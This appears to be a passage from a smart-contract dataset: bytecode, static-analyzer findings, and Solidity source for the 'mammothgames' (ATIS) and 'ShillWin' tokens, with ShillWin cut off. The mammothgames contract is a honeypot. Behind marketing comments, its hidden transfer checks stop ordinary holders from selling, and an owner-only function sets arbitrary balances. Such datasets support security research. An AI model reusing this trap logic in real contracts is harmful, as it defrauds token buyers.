3ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515613abc57600080fd5b5af11515613ac957600080fd5b50505060405180519050600a6000878152602001908152602001600020600101546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515613b6e57600080fd5b5af11515613b7b57600080fd5b50505060405180519050505b81837f5b4cde6dd262ac8adc9c9dc9abd965f7fdc5f1b7e3a97db5fd06aa922540cfbf836040518082815260200191505060405180910390a3613bc98361450c565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613c5457600080fd5b5af11515613c6157600080fd5b50505060405180519050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613ccb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613d4f57600080fd5b5af11515613d5c57600080fd5b505050604051805190501515613d7157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635abaaa016040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613df557600080fd5b5af11515613e0257600080fd5b50505060405180519050600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635550e4f36040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613ed057600080fd5b5af11515613edd57600080fd5b50505060405180519050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a76d368a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613fab57600080fd5b5af11515613fb857600080fd5b50505060405180519050600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b600c5481565b600f5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166386e476dd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561409a57600080fd5b5af115156140a757600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156140ea57600080fd5b6005546006541415156140fc57600080fd5b61411360075460055461464f90919063ffffffff16565b6005819055507f82a435bab9dac7abe42e365cda0c3cb0f64bf2b839af282f9e312d2d66145c846005546040518082815260200191505060405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a2c174596040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156141da57600080fd5b5af115156141e757600080fd5b50505060405180519050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561427c57600080fd5b5af1151561428957600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156142cc57600080fd5b813073ffffffffffffffffffffffffffffffffffffffff1631101515156142f257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166349b7a9c26040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561437657600080fd5b5af1151561438357600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630b6826ca836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15156143f257600080fd5b5af115156143ff57600080fd5b505050507f8c9a4f13b67cb64d7c6aa1ae0c9bf07694af521a28b93e7060020810ab4bc59f6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166349b7a9c26040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156144a857600080fd5b5af115156144b557600080fd5b5050506040518051905083604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600a600082815260200190815260200160002060020160009054906101000a900460ff161561464c57600a600082815260200190815260200160002060000154600a6000600b6000600c6000815460019003919050819055815260200190815260200160002054815260200190815260200160002060000181905550600b6000600c54815260200190815260200160002054600b6000600a600085815260200190815260200160002060000154815260200190815260200160002081905550600b6000600c54815260200190815260200160002060009055600a600082815260200190815260200160002060008082016000905560018201600090556002820160006101000a81549060ff02191690555050807f868a9e71dfb115bed3ee872d882e85e6054c40386de4fbb9b016f78717d7b9ed60405160405180910390a25b50565b600080828401905083811015151561466357fe5b8091505092915050565b60008060055460065410151561468257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce5a5df7846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561473e57600080fd5b5af1151561474b57600080fd5b505050604051805190509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631a9caab96000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561481957600080fd5b5af1151561482657600080fd5b50505060405180519050836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506000604051808303818588803b151561488157600080fd5b5af1151561488e57600080fd5b50505050808373ffffffffffffffffffffffffffffffffffffffff167f51b6670023a2e348a2cb6b181f6ceed38b9ca16e2a416c7f437722cda97264d0600080604051808381526020018281526020019250505060405180910390a3614900600160065461464f90919063ffffffff16565b60068190555080915050919050565b600d600082815260200190815260200160002060020160009054906101000a900460ff1615614a4f57600d600082815260200190815260200160002060000154600d6000600e6000600f6000815460019003919050819055815260200190815260200160002054815260200190815260200160002060000181905550600e6000600f54815260200190815260200160002054600e6000600d600085815260200190815260200160002060000154815260200190815260200160002081905550600e6000600f54815260200190815260200160002060009055600d600082815260200190815260200160002060008082016000905560018201600090556002820160006101000a81549060ff02191690555050807f5ea1bcce7d1009a8f5578c7ae0fb858880637a891d4e67851c12e37b35f59c6360405160405180910390a25b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633e8eca23826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1515614ae257600080fd5b5af11515614aef57600080fd5b505050505600a165627a7a72305820f6fab9d39175e6a878f8542466538ff4585210cf8f43caea0e3a6d6dd183db980029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,646 |
0x3b46c6c1f8ca92b1ee65f2969c4e17f8969ca4a5
|
/**
*Submitted for verification at Etherscan.io on 2021-04-01
*/
/*
Atlantis or ATIS, is Mammoth Corp's primary ecosystem token where profits from its games and future platforms are shared.
ATIS is a low supply, deflationary token backed by a locked liquidity pool on Uniswap, where it primarily trades.
It will be further supported by Mammoth's Capital Fund Token, which will include profit sharing from MCAP, delivering additional dividends to ATIS stakers.
Future DEX and possible CEX listings will be sought for ATIS in the future as the platform grows.
About Mammoth - Mammoth Corp was incepted in the hearts and minds of the cryptocurrency community in early 2020.
Since then, we have grown into a large collective of like-minded individuals who value the growth and adoption of blockchain technology as well as the merits of decentralized protocols and applications.
Our core principles are decentralization, transparency, and open-source development. Our goal is to deliver quality gaming based on those principles.
Thank you for joining us and welcome to our community here at Mammoth Corp, come be a Mammoth with us and build something... BIG!
Velantis or VTIS, is Mammoth Corp's secondary gaming token to be used in it's in-house games and dapps. Additionally, it will be used for entry into Mammoth's Capital Fund token from the second round of it's sale onward.
There will only be a limited supply of MCAP which will make VTIS a desirable token within the ecosystem. Gaming dapps are planned to include a slow supply drip called GENESIS, Raffles, and Hourglasses.
Remaining portion will be allocated between Team, MCAP, and future dapps. A detailed breakdown can be found within our Whitepaper linked within the page.
Mammoth Capital Fund or MCAP, is Mammoth's investment portfolio which will serve to add value to the project by investing a portion of its earnings into top traded cryptocurrencies, stable coins, decentralized applications, projects, and potentially more.
By taking decentralized concepts, such as DAO voting, and applying them to it's growth philosophy, we believe in a community driven approach to the building and development of our project and it's portfolio.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract mammothgames {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582030243fcd8ac323a05458fef450d873ab35d538ad214d5ac475d11a7508eb30a264736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,647 |
0xc332355a8db21e5e7325eacf1a09902c3f221848
|
/*
DEFI is a rapidly growing sector within crypto, and it will be an essential part of
tomorrow's economy. However, there are currently few incentives within most DEFI
projects that are aligned with what the requirements for DEFI, and cryptocurrency in
general, to grow. Only attracting other current cryptocurrency enthusiasts is not
enough, and will cap the growth of DEFI.
All the while, fiat inflation is occurring at a rapid pace, and projects that incentivize
outreach are needed to secure the communities' financial stability that we exist on a
day-to-day basis outside of our online lives. As we see it, a project is necessary whose
goals are aligned with the requirements needed to help solve both of these issues.
Make no mistake, this project will proliferate initially due to interest within the DEFI
space, and then the cryptocurrency community at large. However, we question
whether price appreciation alone is enough to propel a project that will further grow
the DEFI market. As such, we propose a project that rewards its community for
reaching out to social circles outside of DEFI
Community is the basis and core of the project. Everyone needs to be working united
towards a common goal. We have developed a structure that keeps the community
and future success of the project tightly bound together.
Proof of Shill or PoSH concept: a staking mechanism activated by the growth of the
community.
Staking
Shill & Win rewards the community with staking. Each user gets their reward payout daily.
5% of the reward goes to their upline or the staking pool by default.
Inviting friends that stake will earn you 5% of all their staking rewards!
Staking has a 5% fee and unstaking has a 25% fee, which goes directly to the staking pool.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShillWin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
